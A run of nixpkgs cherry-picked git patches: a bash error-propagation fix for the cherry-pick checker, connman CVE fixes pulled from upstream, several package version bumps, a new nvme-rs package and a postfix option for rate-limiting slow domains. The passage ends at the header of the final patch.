From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 27 May 2025 19:59:28 +0200
Subject: [PATCH 0109/4511] maintainer/scripts/check-cherry-picks: propagate
 git errors instead of passing silently

Bash will not propagate the exit code from a subshell within a
herestring, so the script silently passes when git throws an error
there. Re-arranging things a bit and an error will now be thrown.

(cherry picked from commit d283c3b36ff4ed09cc1b275b604bddc82693f075)
---
 maintainers/scripts/check-cherry-picks.sh | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/maintainers/scripts/check-cherry-picks.sh b/maintainers/scripts/check-cherry-picks.sh
index e7ffe2bf4c73..c846fa108df2 100755
--- a/maintainers/scripts/check-cherry-picks.sh
+++ b/maintainers/scripts/check-cherry-picks.sh
@@ -1,7 +1,7 @@
 #!/usr/bin/env bash
 # Find alleged cherry-picks
 
-set -e
+set -eo pipefail
 
 if [ $# != "2" ] ; then
   echo "usage: check-cherry-picks.sh base_rev head_rev"
@@ -11,6 +11,10 @@ fi
 PICKABLE_BRANCHES=${PICKABLE_BRANCHES:-master staging release-??.?? staging-??.??}
 problem=0
 
+commits="$(git rev-list \
+  -E -i --grep="cherry.*[0-9a-f]{40}" --reverse \
+  "$1..$2")"
+
 while read new_commit_sha ; do
   if [ -z "$new_commit_sha" ] ; then
     continue  # skip empty lines
@@ -88,10 +92,6 @@ while read new_commit_sha ; do
   echo "$original_commit_sha not found in any pickable branch"
 
   problem=1
-done <<< "$(
-  git rev-list \
-    -E -i --grep="cherry.*[0-9a-f]{40}" --reverse \
-    "$1..$2"
-)"
+done <<< "$commits"
 
 exit $problem

From ec0bbe286801f55bb32dade410839882ba168162 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 27 May 2025 20:00:24 +0200
Subject: [PATCH 0110/4511] maintainer/scripts/check-cherry-picks: fix calling
 from outside nixpkgs

The CI job calls this as trusted/maintainers/..., i.e. with a working
directory outside the checkout. The git commands inside the script
assume to be inside the checkout, though, so let's force that.

(cherry picked from commit 642de212a6ec1d4e76f7cca957163bbeaef85e88)
---
 maintainers/scripts/check-cherry-picks.sh | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/maintainers/scripts/check-cherry-picks.sh b/maintainers/scripts/check-cherry-picks.sh
index c846fa108df2..0e02c709d8f5 100755
--- a/maintainers/scripts/check-cherry-picks.sh
+++ b/maintainers/scripts/check-cherry-picks.sh
@@ -8,6 +8,9 @@ if [ $# != "2" ] ; then
   exit 2
 fi
 
+# Make sure we are inside the nixpkgs repo, even when called from outside
+cd "$(dirname "${BASH_SOURCE[0]}")"
+
 PICKABLE_BRANCHES=${PICKABLE_BRANCHES:-master staging release-??.?? staging-??.??}
 problem=0
 

From e558c6d510fa92a4fcfe7061a73980aa30ad3180 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 16 May 2025 01:49:19 +0200
Subject: [PATCH 0111/4511] connman: apply patches for CVE-2025-32366 and
 CVE-2025-32743

https://git.kernel.org/pub/scm/network/connman/connman.git/commit/?id=8d3be0285f1d4667bfe85dba555c663eb3d704b4
https://git.kernel.org/pub/scm/network/connman/connman.git/commit/?id=d90b911f6760959bdf1393c39fe8d1118315490f
(cherry picked from commit e50edd162befd42b359bc3eae2dad1e63719c7ba)
---
 pkgs/by-name/co/connman/package.nix | 28 +++++++++++++++++++++-------
 1 file changed, 21 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/co/connman/package.nix b/pkgs/by-name/co/connman/package.nix
index e62def2dccab..1995a54fa143 100644
--- a/pkgs/by-name/co/connman/package.nix
+++ b/pkgs/by-name/co/connman/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchurl,
+  fetchpatch,
   autoreconfHook,
   dbus,
   file,
@@ -78,13 +79,26 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-ElfOvjJ+eQC34rhMD7MwqpCBXkVYmM0vlB9DCO0r47w=";
   };
 
-  patches = optionals stdenv.hostPlatform.isMusl [
-    # Fix Musl build by avoiding a Glibc-only API.
-    (fetchurl {
-      url = "https://git.alpinelinux.org/aports/plain/community/connman/libresolv.patch?id=e393ea84386878cbde3cccadd36a30396e357d1e";
-      hash = "sha256-7Q1bp8rD/gGVYUqnIXqjr9vypR8jlC926p3KYWl9kLw=";
-    })
-  ];
+  patches =
+    [
+      (fetchpatch {
+        name = "CVE-2025-32366.patch";
+        url = "https://git.kernel.org/pub/scm/network/connman/connman.git/patch/?id=8d3be0285f1d4667bfe85dba555c663eb3d704b4";
+        hash = "sha256-kPb4pZVWvnvTUcpc4wRc8x/pMUTXGIywj3w8IYKRTBs=";
+      })
+      (fetchpatch {
+        name = "CVE-2025-32743.patch";
+        url = "https://git.kernel.org/pub/scm/network/connman/connman.git/patch/?id=d90b911f6760959bdf1393c39fe8d1118315490f";
+        hash = "sha256-odkjYC/iM6dTIJx2WM/KKotXdTtgv8NMFNJMzx5+YU4=";
+      })
+    ]
+    ++ optionals stdenv.hostPlatform.isMusl [
+      # Fix Musl build by avoiding a Glibc-only API.
+      (fetchurl {
+        url = "https://git.alpinelinux.org/aports/plain/community/connman/libresolv.patch?id=e393ea84386878cbde3cccadd36a30396e357d1e";
+        hash = "sha256-7Q1bp8rD/gGVYUqnIXqjr9vypR8jlC926p3KYWl9kLw=";
+      })
+    ];
 
   nativeBuildInputs = [
     autoreconfHook

From dc4e0337ec235215a32d26e71fee7ddea9638ebb Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Mon, 12 May 2025 22:02:36 +0200
Subject: [PATCH 0112/4511] victoriametrics: 1.116.0 -> 1.117.1

Release notes:
  - https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.117.0
  - https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.117.1
Full changelog: https://github.com/VictoriaMetrics/VictoriaMetrics/compare/v1.116.0...v1.117.1

(cherry picked from commit aea3c8be1f6b11702046cf0c002378b9cd245c2b)
---
 pkgs/by-name/vi/victoriametrics/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vi/victoriametrics/package.nix b/pkgs/by-name/vi/victoriametrics/package.nix
index 183260448d55..2cb333913c17 100644
--- a/pkgs/by-name/vi/victoriametrics/package.nix
+++ b/pkgs/by-name/vi/victoriametrics/package.nix
@@ -14,13 +14,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "VictoriaMetrics";
-  version = "1.116.0";
+  version = "1.117.1";
 
   src = fetchFromGitHub {
     owner = "VictoriaMetrics";
     repo = "VictoriaMetrics";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-iXMn1C5dUzsZSNwv4PqS4iMsTlxjhj9U9YLJHy8WGHs=";
+    hash = "sha256-Y3Ai5e9bJnGlWfxOMWMhesJ/eHrklSbR+YmR1EgzFS0=";
   };
 
   vendorHash = null;

From 8d6ed207d64573d672d152d5fad46f94575e4b23 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Tue, 27 May 2025 21:26:14 +0200
Subject: [PATCH 0113/4511] k3s_1_33: 1.33.0 -> 1.33.1

https://github.com/k3s-io/k3s/releases/tag/v1.33.1%2Bk3s1
(cherry picked from commit 6924c67f2e7d07d7663b86634c5932ea0f847a3b)
---
 .../cluster/k3s/1_33/images-versions.json          | 14 +++++++-------
 .../networking/cluster/k3s/1_33/versions.nix       | 12 ++++++------
 2 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
index 5d212c7f9e0e..8caf711a8a74 100644
--- a/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_33/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.0%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "2822af9a2341033243bd1aff7433c0670bcad4059a8d0a35fb314dba24692674"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.1%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "5fd0e18b7cd7457773d30e86270a4e1caed66d2e5c1380e65b3d0375227d241c"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.0%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "cf175be8674dd1812cd92930a852ef7a11572c4588180f51d5c19bdfd0a810e4"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.1%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "518343da6213e7edba9da2f58fcf30c268600fc8003f92f245d9818ead2db03e"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.0%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "c97f7a86a04aad7d5dc74d7e85e0fbc097e9edf76358f8a7c2097e6ca9740211"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.1%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "2ac40b650104a1dc21b4b77fccf943efca8893de0432e6cdf1e7e1534eb6f4aa"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.0%2Bk3s1/k3s-images.txt",
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.33.1%2Bk3s1/k3s-images.txt",
     "sha256": "aa8e10337aef453cb17e6408dbaec9eb2da409ca6ba1f8bc7332fcef97fdaf3a"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_33/versions.nix b/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
index be10b6dd7b6a..9665eb3c02af 100644
--- a/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_33/versions.nix
@@ -1,15 +1,15 @@
 {
-  k3sVersion = "1.33.0+k3s1";
-  k3sCommit = "63ab8e534cdfce2a60f4b016dfedb4f8d74ae8ec";
-  k3sRepoSha256 = "1ysfzb4216qk9gjmp2zp103xzjgz8irc7h9m4yp041gkvffa7pyg";
-  k3sVendorHash = "sha256-eVMCrOAOCB7saYuxQQUUrmRHT+ZURXESTI6ZRKSDGZs=";
+  k3sVersion = "1.33.1+k3s1";
+  k3sCommit = "99d91538b1327da933356c318dc8040335fbb66c";
+  k3sRepoSha256 = "1ncj30nid3x96irw2raxf1naa2jap1d0s1ygxsvfckblbb6rjnmx";
+  k3sVendorHash = "sha256-jrPVY+FVZV9wlbik/I35W8ChcLrHlYbLAwUYU16mJLM=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
   k3sCNIVersion = "1.6.0-k3s1";
   k3sCNISha256 = "0g7zczvwba5xqawk37b0v96xysdwanyf1grxn3l3lhxsgjjsmkd7";
-  containerdVersion = "2.0.4-k3s4";
-  containerdSha256 = "05j5jyjnirks11z2930w4k5ij015hsm4pd2wxgj2531fyiy98azl";
+  containerdVersion = "2.0.5-k3s1";
+  containerdSha256 = "1c3hv22zx8y94zwmv5r59bnwgqyhxd10zkinm0jrcvny32ijqdfj";
   criCtlVersion = "1.31.0-k3s2";
 }

From 825070157fea44893a0a5e8ab1a754722df1962a Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Thu, 15 May 2025 13:21:44 +0200
Subject: [PATCH 0114/4511] lomiri.lomiri-music-app: 3.2.2 -> 3.3.0

(cherry picked from commit dc0d03c468acd956fe76f4d7999e89da56efc71f)
---
 .../applications/lomiri-music-app/default.nix | 27 +++++--------------
 1 file changed, 6 insertions(+), 21 deletions(-)

diff --git a/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
index 3a1dcf319dff..c80eebf96503 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
@@ -2,7 +2,6 @@
   stdenv,
   lib,
   fetchFromGitLab,
-  fetchpatch,
   gitUpdater,
   nixosTests,
   cmake,
@@ -22,31 +21,15 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lomiri-music-app";
-  version = "3.2.2";
+  version = "3.3.0";
 
   src = fetchFromGitLab {
     owner = "ubports";
     repo = "development/apps/lomiri-music-app";
-    rev = "refs/tags/v${finalAttrs.version}";
-    hash = "sha256-tHCbZF+7i/gYs8WqM5jDBhhKmM4ZeUbG3DYBdQAiUT8=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-lCpRt0SeNszlCsmJOZvnzoDmHV7xCGKdmIZBJTlBQDo=";
   };
 
-  patches = [
-    # Remove when version > 3.2.2
-    (fetchpatch {
-      name = "0001-lomiri-music-app-Fix-GNUInstallDirs-usage.patch";
-      url = "https://gitlab.com/ubports/development/apps/lomiri-music-app/-/commit/32591f2332aa204b9ee2857992e50594db0e6ff2.patch";
-      hash = "sha256-SXn+7jItzi1Q0xK0iK57+W3SpEdSCx1dKSfeghOCePg=";
-    })
-
-    # Remove when version > 3.2.2
-    (fetchpatch {
-      name = "0002-lomiri-music-app-bindtextdomain.patch";
-      url = "https://gitlab.com/ubports/development/apps/lomiri-music-app/-/commit/4e950521a67e201f3d02b3b71c6bb1ddce8ef2b2.patch";
-      hash = "sha256-HgGKk44FU+IXRVx2NK3iGSo/wPJce1T2k/vP8nZtewQ=";
-    })
-  ];
-
   postPatch = ''
     # We don't want absolute paths in desktop files
     substituteInPlace CMakeLists.txt \
@@ -113,7 +96,9 @@ stdenv.mkDerivation (finalAttrs: {
   meta = {
     description = "Default Music application for Ubuntu devices";
     homepage = "https://gitlab.com/ubports/development/apps/lomiri-music-app";
-    changelog = "https://gitlab.com/ubports/development/apps/lomiri-music-app/-/blob/v${finalAttrs.version}/ChangeLog";
+    changelog = "https://gitlab.com/ubports/development/apps/lomiri-music-app/-/blob/${
+      if (!builtins.isNull finalAttrs.src.tag) then finalAttrs.src.tag else finalAttrs.src.rev
+    }/ChangeLog";
     license = with lib.licenses; [
       gpl3Only
     ];

From b86f45b238a78c3c53f59b674b3d94a280f57ed0 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Sun, 25 May 2025 17:28:59 +0200
Subject: [PATCH 0115/4511] nixosTests.lomiri-music-app: Optimise OCR

(cherry picked from commit 4e3b940de08bf4bcac71a1b8aa0d80c236379452)
---
 nixos/tests/lomiri-music-app.nix | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/lomiri-music-app.nix b/nixos/tests/lomiri-music-app.nix
index 87722db239d7..9efff85fee20 100644
--- a/nixos/tests/lomiri-music-app.nix
+++ b/nixos/tests/lomiri-music-app.nix
@@ -1,7 +1,8 @@
 { lib, ... }:
 let
   ocrContent = "Music Test";
-  musicFile = "test.mp3";
+  musicFileName = "Example";
+  musicFile = "${musicFileName}.mp3";
 
   ocrPauseColor = "#FF00FF";
   ocrStartColor = "#00FFFF";
@@ -136,6 +137,7 @@ in
 
     with subtest("lomiri music launches"):
         machine.succeed("lomiri-music-app >&2 &")
+        machine.wait_for_console_text("Queue is empty")
         machine.sleep(10)
         machine.send_key("alt-f10")
         machine.sleep(2)
@@ -144,11 +146,14 @@ in
 
     with subtest("lomiri music plays music"):
         machine.succeed("xdotool mousemove 30 720 click 1") # Skip intro
+        machine.sleep(2)
         machine.wait_for_text("Albums")
         machine.succeed("xdotool mousemove 25 45 click 1") # Open categories
+        machine.sleep(2)
         machine.wait_for_text("Tracks")
         machine.succeed("xdotool mousemove 25 240 click 1") # Switch to Tracks category
-        machine.wait_for_text("test") # the test file
+        machine.sleep(2)
+        machine.wait_for_text("${musicFileName}") # the test file
         machine.screenshot("lomiri-music_listing")
 
         # Ensure pause colours isn't present already
@@ -185,6 +190,7 @@ in
 
     with subtest("lomiri music localisation works"):
         machine.succeed("env LANG=de_DE.UTF-8 lomiri-music-app .mp4 >&2 &")
+        machine.wait_for_console_text("Restoring library queue")
         machine.sleep(10)
         machine.send_key("alt-f10")
         machine.sleep(2)

From e2e45aef3383d74193dfd22c3668b99e3d1fad3a Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Sun, 25 May 2025 17:31:59 +0200
Subject: [PATCH 0116/4511] lomiri.lomiri-music-app: Satisfy MediaScanner2 QML
 dependency

Instead of relying on Lomiri to have installed it & put it on QML2_IMPORT_PATH.

(cherry picked from commit b05fd9403e3cbc45817ddac8d0d452e686d388e9)
---
 pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
index c80eebf96503..34654e838795 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
@@ -11,6 +11,7 @@
   lomiri-content-hub,
   lomiri-thumbnailer,
   lomiri-ui-toolkit,
+  mediascanner2,
   qtbase,
   qtdeclarative,
   qtmultimedia,
@@ -56,6 +57,7 @@ stdenv.mkDerivation (finalAttrs: {
       lomiri-content-hub
       lomiri-thumbnailer
       lomiri-ui-toolkit
+      mediascanner2
       qtmultimedia
       qtsystems
     ]

From 15824b1c0358b19fe99892c6fa11f68e91f06eb7 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 26 May 2025 17:57:17 +0000
Subject: [PATCH 0117/4511] olivetin: 2025.4.22 -> 2025.5.26

(cherry picked from commit 52b157cbf7c775ba953b3c23fe41af3c2512f7d1)
---
 pkgs/by-name/ol/olivetin/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ol/olivetin/package.nix b/pkgs/by-name/ol/olivetin/package.nix
index 24cb51325a2a..38833afae1ea 100644
--- a/pkgs/by-name/ol/olivetin/package.nix
+++ b/pkgs/by-name/ol/olivetin/package.nix
@@ -56,7 +56,7 @@ buildGoModule (
       pname = "olivetin-webui";
       inherit (finalAttrs) version src;
 
-      npmDepsHash = "sha256-VxIPjpsbxEPP15cu5Wvz0qeDGXTMb2tojdry8YaHMVI=";
+      npmDepsHash = "sha256-59ImpfuLtsZG2Y6B3R09ePaTEuFbIhklk2jKibaB+wg=";
 
       sourceRoot = "${finalAttrs.src.name}/webui.dev";
 
@@ -81,18 +81,18 @@ buildGoModule (
 
   {
     pname = "olivetin";
-    version = "2025.4.22";
+    version = "2025.5.26";
 
     src = fetchFromGitHub {
       owner = "OliveTin";
       repo = "OliveTin";
       tag = finalAttrs.version;
-      hash = "sha256-dgoYGtBsyaCTgxCT/y7rU5B9pEvIU/yiLU2/pPm/vJU=";
+      hash = "sha256-BD52MxIHE56y3oWuRTCYmrEYMge70/MXt4B6g84ahF0=";
     };
 
     modRoot = "service";
 
-    vendorHash = "sha256-yUW4BrC7Oqs+mvvZGp6oxdGQ9fxP5gQNacq6Pz5ZHAQ=";
+    vendorHash = "sha256-kfk4QFG+l+XKkKoOs2C1B6ZuMeeDz9DrzzR46S8Qnyk=";
 
     ldflags = [
       "-s"

From c69eaa451e2f7d1adf3854371e19e9b40209205a Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 27 May 2025 15:59:54 +0000
Subject: [PATCH 0118/4511] clorinde: 0.15.0 -> 0.15.1

(cherry picked from commit 9fccd46b6ab5fdbee160e58eae3e1bd18226226e)
---
 pkgs/by-name/cl/clorinde/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/cl/clorinde/package.nix b/pkgs/by-name/cl/clorinde/package.nix
index c6a4052d8999..981fd2cf1b14 100644
--- a/pkgs/by-name/cl/clorinde/package.nix
+++ b/pkgs/by-name/cl/clorinde/package.nix
@@ -8,17 +8,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "clorinde";
-  version = "0.15.0";
+  version = "0.15.1";
 
   src = fetchFromGitHub {
     owner = "halcyonnouveau";
     repo = "clorinde";
     tag = "clorinde-v${finalAttrs.version}";
-    hash = "sha256-PUAySbgmbulSlkabABiSFeDDa+o0tQ2uQtiQGSqO1/w=";
+    hash = "sha256-Ynz1pdgckQzMLuUJUGSzNRNwWZKrEZuYgrrT/BxAxzc=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-zSeAD3MBflO+lhuLxH57YhR6wxsqZn62XQ0dgImdNLE=";
+  cargoHash = "sha256-g3pWvoTq1DlKlIDJq79IJrvDiLR0HZRPIt4K1YUPsvM=";
 
   cargoBuildFlags = [ "--package=clorinde" ];
 

From 6d9579fa01a92a45b9b188d85d89d4b1afe7beea Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Tue, 27 May 2025 15:00:18 +0200
Subject: [PATCH 0119/4511] glpi-agent: 1.11 -> 1.14

(cherry picked from commit cce9ebb6e819a883d15e25dcbba25216933b1a0f)
---
 pkgs/by-name/gl/glpi-agent/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gl/glpi-agent/package.nix b/pkgs/by-name/gl/glpi-agent/package.nix
index 2e9ffec1a146..d886bfdf9c38 100644
--- a/pkgs/by-name/gl/glpi-agent/package.nix
+++ b/pkgs/by-name/gl/glpi-agent/package.nix
@@ -15,13 +15,13 @@
 
 perlPackages.buildPerlPackage rec {
   pname = "glpi-agent";
-  version = "1.11";
+  version = "1.14";
 
   src = fetchFromGitHub {
     owner = "glpi-project";
     repo = "glpi-agent";
     tag = version;
-    hash = "sha256-WdQ+/ZnMCRqLZK64oJNoR9dtMPq+CghsA8NUwt3EpjA=";
+    hash = "sha256-6q+JcTFZlZjtMaQKUvCwE9Sjw9662ZXl78kha0tEFv4=";
   };
 
   postPatch = ''

From 528e46c803a13414e026625cbd5e98da9fa3636e Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Sat, 24 May 2025 15:58:17 +0200
Subject: [PATCH 0120/4511] nvme-rs: init at 0.1.0

(cherry picked from commit 963babe8514638c8e97b1f304d434d377caef7ce)
---
 pkgs/by-name/nv/nvme-rs/package.nix | 52 +++++++++++++++++++++++++++++
 1 file changed, 52 insertions(+)
 create mode 100644 pkgs/by-name/nv/nvme-rs/package.nix

diff --git a/pkgs/by-name/nv/nvme-rs/package.nix b/pkgs/by-name/nv/nvme-rs/package.nix
new file mode 100644
index 000000000000..3620fe08c45d
--- /dev/null
+++ b/pkgs/by-name/nv/nvme-rs/package.nix
@@ -0,0 +1,52 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  rustPlatform,
+  pkg-config,
+  openssl,
+  versionCheckHook,
+  nix-update-script,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "nvme-rs";
+  version = "0.1.0";
+
+  src = fetchFromGitHub {
+    owner = "liberodark";
+    repo = "nvme-rs";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-yM0jzqO+BpsIcr+IMZf5idAY4DTpLxP1VGISzhWhOlI=";
+  };
+
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-V9drHGeY0dvMVdCd016kELGZe7r/Qhia8fGRI9CO/ns=";
+
+  nativeBuildInputs = [
+    pkg-config
+  ];
+
+  buildInputs = [
+    openssl
+  ];
+
+  nativeInstallCheckInputs = [
+    versionCheckHook
+  ];
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+
+  passthru = {
+    updateScript = nix-update-script { };
+  };
+
+  meta = {
+    description = "Lightweight tool for monitoring NVMe drive health with email alerts";
+    homepage = "https://github.com/liberodark/nvme-rs";
+    license = lib.licenses.gpl3Only;
+    maintainers = with lib.maintainers; [ liberodark ];
+    platforms = lib.platforms.linux;
+    mainProgram = "nvme-rs";
+  };
+})

From c3d89bc2ea530af1057784f384ddd4f6ef7f4022 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Thu, 13 Feb 2025 10:44:29 +0100
Subject: [PATCH 0121/4511] nixos/postfix: add slow domain

(cherry picked from commit b9ecd30d81d85c47df3d8b60c3c97f479eeaabab)
---
 nixos/modules/services/mail/postfix.nix | 52 +++++++++++++++++++++++--
 1 file changed, 48 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/mail/postfix.nix b/nixos/modules/services/mail/postfix.nix
index 34c236dcd2a6..4936edc3dd25 100644
--- a/nixos/modules/services/mail/postfix.nix
+++ b/nixos/modules/services/mail/postfix.nix
@@ -13,7 +13,7 @@ let
 
   haveAliases = cfg.postmasterAlias != "" || cfg.rootAlias != "" || cfg.extraAliases != "";
   haveCanonical = cfg.canonical != "";
-  haveTransport = cfg.transport != "";
+  haveTransport = cfg.transport != "" || (cfg.enableSlowDomains && cfg.slowDomains != [ ]);
   haveVirtual = cfg.virtual != "";
   haveLocalRecipients = cfg.localRecipients != null;
 
@@ -319,13 +319,20 @@ let
   aliasesFile = pkgs.writeText "postfix-aliases" aliases;
   canonicalFile = pkgs.writeText "postfix-canonical" cfg.canonical;
   virtualFile = pkgs.writeText "postfix-virtual" cfg.virtual;
+  transportFile = pkgs.writeText "postfix-transport" (
+    lib.optionalString (cfg.enableSlowDomains && cfg.slowDomains != [ ]) (
+      lib.concatMapStrings (domain: ''
+        ${domain} slow:
+      '') cfg.slowDomains
+    )
+    + cfg.transport
+  );
   localRecipientMapFile = pkgs.writeText "postfix-local-recipient-map" (
     lib.concatMapStrings (x: x + " ACCEPT\n") cfg.localRecipients
   );
   checkClientAccessFile = pkgs.writeText "postfix-check-client-access" cfg.dnsBlacklistOverrides;
   mainCfFile = pkgs.writeText "postfix-main.cf" mainCf;
   masterCfFile = pkgs.writeText "postfix-master.cf" masterCfContent;
-  transportFile = pkgs.writeText "postfix-transport" cfg.transport;
   headerChecksFile = pkgs.writeText "postfix-header-checks" headerChecks;
 
 in
@@ -550,6 +557,32 @@ in
         '';
       };
 
+      enableSlowDomains = lib.mkEnableOption "slow domains feature for rate limiting specific domains";
+
+      slowDomains = lib.mkOption {
+        type = with lib.types; listOf str;
+        default = [ ];
+        example = [
+          "orange.fr"
+          "gmail.com"
+        ];
+        description = "List of domains to be rate-limited using the slow transport.";
+      };
+
+      slowDomainsConfig = {
+        defaultDestinationRateDelay = lib.mkOption {
+          type = lib.types.str;
+          default = "5s";
+          description = "Default rate delay for destinations.";
+        };
+
+        defaultDestinationConcurrencyLimit = lib.mkOption {
+          type = lib.types.int;
+          default = 3;
+          description = "Concurrency limit for slow destinations.";
+        };
+      };
+
       aliasMapType = lib.mkOption {
         type =
           with lib.types;
@@ -985,7 +1018,10 @@ in
             smtpd_tls_key_file = cfg.sslKey;
 
             smtpd_tls_security_level = lib.mkDefault "may";
-
+          }
+          // lib.optionalAttrs cfg.enableSlowDomains {
+            default_destination_rate_delay = cfg.slowDomainsConfig.defaultDestinationRateDelay;
+            default_destination_concurrency_limit = cfg.slowDomainsConfig.defaultDestinationConcurrencyLimit;
           };
 
         services.postfix.masterConfig =
@@ -1077,6 +1113,14 @@ in
                 lib.concatLists (lib.mapAttrsToList mkKeyVal cfg.submissionOptions);
             };
           }
+          // lib.optionalAttrs cfg.enableSlowDomains {
+            slow = {
+              command = "smtp";
+              type = "unix";
+              private = true;
+              maxproc = 2;
+            };
+          }
           // lib.optionalAttrs cfg.enableSmtp {
             smtp_inet = {
               name = "smtp";
@@ -1128,7 +1172,7 @@ in
       (lib.mkIf haveCanonical {
         services.postfix.mapFiles.canonical = canonicalFile;
       })
-      (lib.mkIf haveTransport {
+      (lib.mkIf (haveTransport || (cfg.enableSlowDomains && cfg.slowDomains != [ ])) {
         services.postfix.mapFiles.transport = transportFile;
       })
       (lib.mkIf haveVirtual {

From 70bb9f0f829b7f1b5bb70fad744219e2a370d533 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 27 May 2025 09:22:37 +0200
Subject: [PATCH 0122/4511] python314: 3.14.0-b1 -> 3.14.0-b2

https://docs.python.org/3.14/whatsnew/changelog.html#python-3-14-0-beta-2
(cherry picked from commit d90442cfc0ca9be6d0898be669a6178ef370d050)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index d738e391ea86..0664cd6e2382 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -93,9 +93,9 @@
         major = "3";
         minor = "14";
         patch = "0";
-        suffix = "b1";
+        suffix = "b2";
       };
-      hash = "sha256-Ld0wp3yfYuBlzmSGZKJUubDAEbzaqMHCeHCH5kTL6zk=";
+      hash = "sha256-esnoSES7wKWo8feaN6aLO4yvKli0qlmZxJInyzbnDqY=";
       inherit passthruFun;
     };
     # Minimal versions of Python (built without optional dependencies)

From 494a465ed5e8b25e367104530d5d679ac3a40bce Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 15 May 2025 17:18:24 +0200
Subject: [PATCH 0123/4511] python313Packages.pydantic-core: 2.33.0 -> 2.33.2

